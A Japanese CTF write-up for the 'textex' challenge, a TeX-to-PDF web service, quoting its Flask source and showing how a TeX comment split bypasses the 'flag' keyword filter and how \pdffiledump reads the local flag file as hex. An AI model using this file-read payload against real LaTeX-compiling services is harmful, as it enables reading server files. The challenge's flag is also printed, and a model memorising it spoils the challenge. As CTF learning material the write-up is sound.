久しぶりにCTFの問題を触ったので1問だけだけどwriteup残しておく
beginnersなので、1時間もあれば全問解けるやろとか思ってたら、1時間起きてるのすら無理だった。
リハビリして行こうと思います。
textex (easy)
- texをpdf化するwebサービスが稼働している
- app.pyと同フォルダに存在するflagというファイルの中身をgetするのが目的
サーバのソースコードもzipで貰えるので、展開してdocker upとかすればローカルで実験出来ただろうけど、コード読んだら満足したのでやってない
app.py
def tex2pdf(tex_code) -> str:
# Generate random file name.
filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
# Create a working directory.
os.makedirs(f"tex_box/{filename}", exist_ok=True)
# .tex -> .pdf
try:
# No flag !!!!
if "flag" in tex_code.lower():
tex_code = ""
# Write tex code to file.
with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
f.write(tex_code)
# Create pdf from tex.
subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
except:
pass
if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
# OMG error ;(
shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
return f"{filename}"
@app.route("/pdf", methods=["POST"])
def pdf():
# tex to pdf.
filename = tex2pdf(request.form.get("tex_code"))
# Here's your pdf.
with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
pdf = io.BytesIO(f.read())
shutil.rmtree(f"tex_box/{filename}/")
return send_file(pdf, mimetype="application/pdf")
- 読んでいると、"flag"という文字列が空白に置き換えられてしまう
- きっとtexでローカルファイルをincludeする的な問題だろうな~と思い始める
- ファイルが存在しないとか、texの文法がおかしいとか、何かあったら、error.pdfが表示されそう
ぐらいのところが判明したので、とりあえずコメントアウトでflagを指定してみたが、なぜかerror画面が表示される
\documentclass{article}
\begin{document}
This is a sample.
\input{f%
lag}
\end{document}
- しばらく試行錯誤したり、texの文法を眺めていると、どうやらinput{}は拡張子を指定しない場合、texとして読み込むらしい
- つまり、flag = flag.texとして読み込まれるので、存在しないファイルとなる
その後も、inputに何か裏技とかオプションとかあるんじゃないかと文法等眺めるも見つからなかったので、リモートコード実行出来るプラグインが実は使えるのではとか色々試すものの刺さらず
諦めて寝る前になんとなくpdfとして呼んでみた
\documentclass{article}
\begin{document}
\pdffiledump offset 0 length \pdffilesize{f%
lag}{f%
lag}
\end{document}
とすると、エラーにならずに下記が表示された
63746634627B31355F3733785F7072306E30756E6333645F636830753F7D
あとは、cyberchefを利用して文字列に直せば
ctf4b{15_73x_pr0n0unc3d_ch0u?}
tex使いなら2秒で解けたのだろうなと思いながら寝落ちをしたのでした。
これ想定解・・・かな?